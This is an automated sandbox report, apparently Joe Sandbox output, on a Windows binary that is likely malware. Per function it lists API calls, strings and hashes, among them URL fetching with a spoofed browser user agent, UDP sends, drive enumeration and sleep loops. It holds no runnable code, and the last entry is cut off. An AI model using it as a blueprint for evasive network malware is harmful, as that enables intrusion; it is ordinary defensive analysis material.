Instruction ID: e67ba9521a541be798431772fb319970cc3d6429c6b3b7a9c3ce28b53cac335a
Opcode Fuzzy Hash: adc9e1b642c8ef13301026d6139dd454e63dc363d970614d04e973e17512e1fe
Instruction Fuzzy Hash: 5E2130B0940218ABDB20CB65DC45BE9BB74AB04308F1085E9EB19B72C0D7B95AD6CF5D

Function 0040F4B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57networksleepCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 0040F4C7
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040F4E6
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 0040F50F
InternetCloseHandle.WININET(00000000), ref: 0040F538
InternetCloseHandle.WININET(00000000), ref: 0040F542
Sleep.KERNEL32(000003E8), ref: 0040F54D

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, xrefs: 0040F4C2

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
API String ID: 2743515581-2960703779
Opcode ID: eac7a16544c45e3c29eec32ac406d7a69024a54342cccca2c138cb753e28bf4a
Instruction ID: af5d65e8d2fa993cc87ce820da5284d466d7432e490674ab1d3698c460306143
Opcode Fuzzy Hash: eac7a16544c45e3c29eec32ac406d7a69024a54342cccca2c138cb753e28bf4a
Instruction Fuzzy Hash: E7212975A40308BBDB20DF94CC49FEEB7B5AB04705F1084A5EA11AB2C0C7B9AA84CB55

Function 0040ECC0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040ED7C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040EDCB
SysFreeString.OLEAUT32(00000000), ref: 0040EDDF
SysFreeString.OLEAUT32(00000000), ref: 0040EDF7

Strings

deviceType, xrefs: 0040ED86
device, xrefs: 0040ED73

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: a9e600dac57c6bff42fbd44a0ab5cbd0dab53693824f3ca44f5ffdbb74c8a893
Instruction ID: 03739fb7cbf0ac8b4f24cf275543a684364e3b5b0ef8f18e7a9da7a5ef98527e
Opcode Fuzzy Hash: a9e600dac57c6bff42fbd44a0ab5cbd0dab53693824f3ca44f5ffdbb74c8a893
Instruction Fuzzy Hash: 1A413A75A0020ADFCB04DF99D884BAFB7B5FF48304F108969E505A7390D778AA91CB95

Function 0040EB60 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040EC1C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040EC6B
SysFreeString.OLEAUT32(00000000), ref: 0040EC7F
SysFreeString.OLEAUT32(00000000), ref: 0040EC97

Strings

service, xrefs: 0040EC13
serviceType, xrefs: 0040EC26

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 5f17999700f738b1f8b02f544927b29f5482ea2caa1df498b33a2fd0fcdce1b7
Instruction ID: 010777473a756836e58c8d4bedbd534eac8e5d19c37eb4cb5fbe46cee8795b1d
Opcode Fuzzy Hash: 5f17999700f738b1f8b02f544927b29f5482ea2caa1df498b33a2fd0fcdce1b7
Instruction Fuzzy Hash: 9F416A74A0020ADFDB04CF99C884BAFB7B9BF48304F108969E505B7390D779AE81CB95

Function 004022C0 Relevance: 10.6, APIs: 7, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,004019BB,00000000), ref: 004022DA
LeaveCriticalSection.KERNEL32(?,?,?,004019BB,00000000), ref: 004022FE

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 3ac2f8f5af7b0d3c40b8ef892d708a394eff8d7b565022b2108cc4f7acf51177
Instruction ID: a453b5b0d0ea6fd4c501cc83d62b7a74cd48d0bc9ee55fa6e36116878b1ddbe7
Opcode Fuzzy Hash: 3ac2f8f5af7b0d3c40b8ef892d708a394eff8d7b565022b2108cc4f7acf51177
Instruction Fuzzy Hash: D231D1722012059BC710AFB5ED8CAE7B7A8FB44314F04863EE55AD3280DB78A4449BA9

Function 0040ED01 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040ED7C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040EDCB
SysFreeString.OLEAUT32(00000000), ref: 0040EDDF
SysFreeString.OLEAUT32(00000000), ref: 0040EDF7

Strings

deviceType, xrefs: 0040ED86
device, xrefs: 0040ED73

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: c6fd2f803c2933f412baf75b0cc734dbcdbc8a3f85456721b664ef36854a057b
Instruction ID: 82367b585ef85f09a19fbcbd702cec43aacbd83c2379c0e5ae25b899a50ddae9
Opcode Fuzzy Hash: c6fd2f803c2933f412baf75b0cc734dbcdbc8a3f85456721b664ef36854a057b
Instruction Fuzzy Hash: F1313970A0020ADFCB14CF99D884BEFB7B5FF88304F108969E514A7390D778AA91CB95

Function 0040EBA1 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040EC1C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040EC6B
SysFreeString.OLEAUT32(00000000), ref: 0040EC7F
SysFreeString.OLEAUT32(00000000), ref: 0040EC97

Strings

service, xrefs: 0040EC13
serviceType, xrefs: 0040EC26

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: fbd28e8abd5f6cdc19dfc357c6f3e47e72171285df1c210c36e8075dc31c5cfb
Instruction ID: b0af1682f63206834f838cc0e71cdea1734b5e967c65deefb948a4066f0743c7
Opcode Fuzzy Hash: fbd28e8abd5f6cdc19dfc357c6f3e47e72171285df1c210c36e8075dc31c5cfb
Instruction Fuzzy Hash: 09312874A0420A9FDB04CF99C884BEFB7B5BF48304F108969E615B7390D779AA81CB95

Function 0040B530 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 74fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(004163E0,40000000,00000000,00000000,00000002,00000002,00000000), ref: 0040B5C8
WriteFile.KERNEL32(000000FF,00000000,?,?,00000000), ref: 0040B5E9
FlushFileBuffers.KERNEL32(000000FF), ref: 0040B5F3
CloseHandle.KERNEL32(000000FF), ref: 0040B5FD
InterlockedExchange.KERNEL32(00414FB0,0000003D), ref: 0040B60A

Strings

.#v, xrefs: 0040B5FD

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: File$BuffersCloseCreateExchangeFlushHandleInterlockedWrite
String ID: .#v
API String ID: 442028454-507759092
Opcode ID: f5b45801421cf4693db4a952f6c7f3d93a7964b949aee7b1e37d5bd3e27ea16a
Instruction ID: a0ca425d267a8141d5e1d1f6c90da30668f0d4feb664184cc2dbb6b4fe126232
Opcode Fuzzy Hash: f5b45801421cf4693db4a952f6c7f3d93a7964b949aee7b1e37d5bd3e27ea16a
Instruction Fuzzy Hash: 93312BB4A00208EBCB14DF94DC45FAEB775FB88304F208969E51567390D775AA41CF99

Function 004077F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 0040786D
Sleep.KERNEL32(000003E8), ref: 0040789C
wsprintfA.USER32 ref: 004078C7
DeleteUrlCacheEntry.WININET(?), ref: 004078D7
Sleep.KERNEL32(000DBBA0), ref: 0040791F

Strings

%s%s, xrefs: 004078BB

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: Sleep$CacheDeleteEntrywsprintf
String ID: %s%s
API String ID: 1447977647-3252725368
Opcode ID: 0f885536a534958de828f6dadf3c238a14188cbeabebc74b6a6376721a3f9b9c
Instruction ID: a96cc5071c69656b1b6f4b00c6699880e4d6530ea1aa1078cf67c052952084b8
Opcode Fuzzy Hash: 0f885536a534958de828f6dadf3c238a14188cbeabebc74b6a6376721a3f9b9c
Instruction Fuzzy Hash: 643116B0C01218DFCB50DFA8DC887EDBBB4BB48304F1085AAE609B6290D7795AC4CF59

Function 004063E0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55registryCOMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 004063E6
RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406434
RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00406461
RegCloseKey.ADVAPI32(?), ref: 0040647E

Strings

NoDrives, xrefs: 00406458
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 00406427

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: CloseDrivesLogicalOpenQueryValue
String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
API String ID: 2666887985-3471754645
Opcode ID: dded7858fb8d287b6bf9178ccf4275851236264e48071ce0b3ae741169170e3e
Instruction ID: 87cba227ccd7b938b07588cb79f30f32aa16a0fd6c84a7572e83495dfcaef010
Opcode Fuzzy Hash: dded7858fb8d287b6bf9178ccf4275851236264e48071ce0b3ae741169170e3e
Instruction Fuzzy Hash: D311FCB0E0020A9BDB10CFD0D945BEEBBB4BB08304F118119E615B7280D7B85685CF99

Function 0040DBE0 Relevance: 9.1, APIs: 6, Instructions: 80threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040DC04

Part of subcall function 0040DCD0: WaitForSingleObject.KERNEL32(?,00000000), ref: 0040DD10
Part of subcall function 0040DCD0: CloseHandle.KERNEL32(?), ref: 0040DD29

CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040DC5F
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040DC9C
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040DCA7
DuplicateHandle.KERNEL32(00000000), ref: 0040DCAE
LeaveCriticalSection.KERNEL32(-00000004), ref: 0040DCC2

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: CriticalCurrentHandleProcessSection$CloseCreateDuplicateEnterLeaveObjectSingleThreadWait
String ID:
API String ID: 2251373460-0
Opcode ID: 2e6c4f739912ed2bc0a02cfb396969f5dbba436efce4c3680658a262bb647ab9
Instruction ID: 271f69a92097b1b74c70525479ef463fb32d1143369d808ec26f6a45d53993ac
Opcode Fuzzy Hash: 2e6c4f739912ed2bc0a02cfb396969f5dbba436efce4c3680658a262bb647ab9
Instruction Fuzzy Hash: 8D31FA74A00208EFDB04DF98D889B9E7BB5EF48314F0085A8E906A7391D774EA95CF94

Function 00407720 Relevance: 9.1, APIs: 6, Instructions: 65sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00407726
srand.MSVCRT ref: 0040772D
rand.MSVCRT ref: 00407735
Sleep.KERNEL32 ref: 00407746
StrChrA.SHLWAPI(00000000,0000007C), ref: 0040776C
Sleep.KERNEL32(000003E8), ref: 0040779D

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: Sleep$CountTickrandsrand
String ID:
API String ID: 3488799664-0
Opcode ID: c4b67ad1fad57f8bcb632e0803aeb8977b8bb7c39f14d193e10d0355081e485a
Instruction ID: d526f444081091d18ff5343ef40ffd9a09f2c1e6f6858c3ecb06089bc02b22b2
Opcode Fuzzy Hash: c4b67ad1fad57f8bcb632e0803aeb8977b8bb7c39f14d193e10d0355081e485a
Instruction Fuzzy Hash: 1F21A479E00208FBC704DF60D885AAE7B31AB45304F10C47AE9026B381D679BA80CB56

Function 00409860 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 0040986D
_aullshr.NTDLL ref: 0040987E
_allshl.NTDLL ref: 004098A0
_aullshr.NTDLL ref: 004098BC
_allshl.NTDLL ref: 004098DE
_aullshr.NTDLL ref: 004098FA

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: 676eacc0c821b4ee5133c352ae25f7f86d1fbe8fb33d794599ac5fe58c8be501
Instruction ID: 526ada65c8064deb58b6c5f7a60763359622b06b1071bb594fb8502c37df64e6
Opcode Fuzzy Hash: 676eacc0c821b4ee5133c352ae25f7f86d1fbe8fb33d794599ac5fe58c8be501
Instruction Fuzzy Hash: C1111F32600618AB8B10EF5EC4426CABBD6EF84361B25C136FC2CDF359D634DA454BD8

Function 00401200 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106networkCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000004,00000000,?,?), ref: 00401258
htons.WS2_32(?), ref: 00401281
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 004012A9
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004012BE

Strings

pdu, xrefs: 0040121D

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedhtonsmemcpysendto
String ID: pdu
API String ID: 2164660128-2320407122
Opcode ID: 40dba2aff78ba806bae8a6d526fcd496496bfc60c7e892d92015a678719dcbf9
Instruction ID: 05dd75d8116292c76d11c3cc90d45d23dbf78b8bb9632d9a28891a4d74dcab7a
Opcode Fuzzy Hash: 40dba2aff78ba806bae8a6d526fcd496496bfc60c7e892d92015a678719dcbf9
Instruction Fuzzy Hash: 0731B3762083009BC710DF69D880A9BBBF4AFC9714F04457EFD9897381D6349914C7AB

Function 0040DE90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 0040DEA9
CloseHandle.KERNEL32(?), ref: 0040DED8
LeaveCriticalSection.KERNEL32(?), ref: 0040DEE7
DeleteCriticalSection.KERNEL32(?), ref: 0040DEF4

Strings

.#v, xrefs: 0040DED8

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: CriticalSection$CloseDeleteEnterHandleLeave
String ID: .#v
API String ID: 3102160386-507759092
Opcode ID: bb7e0bdf7f07b64480a2601e76dd0e203c57d6389b493651e08ccb706d318709
Instruction ID: ac11750a047aba6f79e7b8cc85f80e728fdbf261864cbbb5073f4aff0768140e
Opcode Fuzzy Hash: bb7e0bdf7f07b64480a2601e76dd0e203c57d6389b493651e08ccb706d318709
Instruction Fuzzy Hash: 65115E74D00208EBDB08DF94D984A9DBB75FF48309F1081A9E806AB341D734EE94DB89

Function 00401330 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,00000000,?,0040154C,00000000), ref: 00401346
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00401352
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040135C

Part of subcall function 0040AB60: HeapFree.KERNEL32(?,00000000,00402612,?,00402612,?), ref: 0040ABBB

Strings

.#v, xrefs: 0040135C
pdu, xrefs: 00401339

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: CloseEventFreeHandleHeapObjectSingleWait
String ID: pdu$.#v
API String ID: 309973729-1687148394
Opcode ID: b5e20e1ff81c8238d4906aefd24b36edb0459e4a4963a0916b72258a76a9c2c1
Instruction ID: d5c9189d357da9e52bb83819b3173fb4210b6dfc4c93b70417a9898bc2e8bd9b
Opcode Fuzzy Hash: b5e20e1ff81c8238d4906aefd24b36edb0459e4a4963a0916b72258a76a9c2c1
Instruction Fuzzy Hash: 3D0186765003109BCB20AF66ECC4E9B7779AF48711B044679FD056B396C738E85087A9

Function 00406360 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(?c@), ref: 0040636D
QueryDosDeviceW.KERNEL32(?c@,?,00000208), ref: 004063AC
StrCmpNW.SHLWAPI(?,\??\,00000004), ref: 004063C4

Strings

\??\, xrefs: 004063B8
?c@, xrefs: 00406369, 004063A8, 0040636C, 004063AB

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: DeviceDriveQueryType
String ID: ?c@$\??\
API String ID: 1681518211-744975932
Opcode ID: f7d2f09f959af449ec867411dc7ba934a04d8b9c93c7b8ac7040ad7b5d155416
Instruction ID: e6efffa98ab35b62633249d18dd791fc9affcc5f03e1fdb0b50d0aac4f7d71b0
Opcode Fuzzy Hash: f7d2f09f959af449ec867411dc7ba934a04d8b9c93c7b8ac7040ad7b5d155416
Instruction Fuzzy Hash: 6101F474A4021CEBCB20CF55DD497DD7774AB04714F00C0BAAA06A7280D6759FD5CF99

Function 00401820 Relevance: 7.6, APIs: 5, Instructions: 116COMMON

Download Yara Rule

APIs

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401846
InterlockedDecrement.KERNEL32(?), ref: 004018B1

Part of subcall function 004017A0: EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
Part of subcall function 004017A0: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
Part of subcall function 004017A0: LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: Interlocked$CriticalExchangeSection$DecrementEnterLeave
String ID:
API String ID: 3966618661-0
Opcode ID: c65f9457ed9e15c383df9cb8ba30375030b5d01632cb0b7646eecf1c4dd6c2f0
Instruction ID: 3b152336b57d45bd484518126aaa8069a8e5b95e48398e5ac574b9fb36890b51
Opcode Fuzzy Hash: c65f9457ed9e15c383df9cb8ba30375030b5d01632cb0b7646eecf1c4dd6c2f0
Instruction Fuzzy Hash: 8C41C371A00A02ABC714AB399848793F3A4BF84310F14823AE82D93391E739B855CB99

Function 00409440 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 0040944E
_allshl.NTDLL ref: 0040945D
_allshl.NTDLL ref: 0040946C
_allshl.NTDLL ref: 0040947B
_allshl.NTDLL ref: 0040948A

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: _allshl
String ID:
API String ID: 435966717-0
Opcode ID: d5e550ec765fb5e4c7b4ab991364e2b02bfb294b8b2cc5675fd73cc28fc319ee
Instruction ID: d897fcd8a6e9f4a7bfe0dcf07208541f34cf8f45c30d72ee7b1e381ef02b65f1
Opcode Fuzzy Hash: d5e550ec765fb5e4c7b4ab991364e2b02bfb294b8b2cc5675fd73cc28fc319ee
Instruction Fuzzy Hash: D2F03672D015289B9710FEEF84424CAFBE59F89354B21C176F818E3360E6709E0946F1

Function 004076C0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000000,?,?), ref: 004076E8
CreateThread.KERNEL32(00000000,00000000,00407720,00000000,00000000,00000000), ref: 0040770A
CloseHandle.KERNEL32(00000000), ref: 00407711

Strings

.#v, xrefs: 00407711

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleThreadmemcpy
String ID: .#v
API String ID: 2064604595-507759092
Opcode ID: 0ababd338b93d4f15b5807df93ab29fe9547c17ebc95fa2dc8514e940c4b66a1
Instruction ID: 1765171bc77b4966af89c460e37a8a9fa1404b8c40c23c814704cc40933dc83e
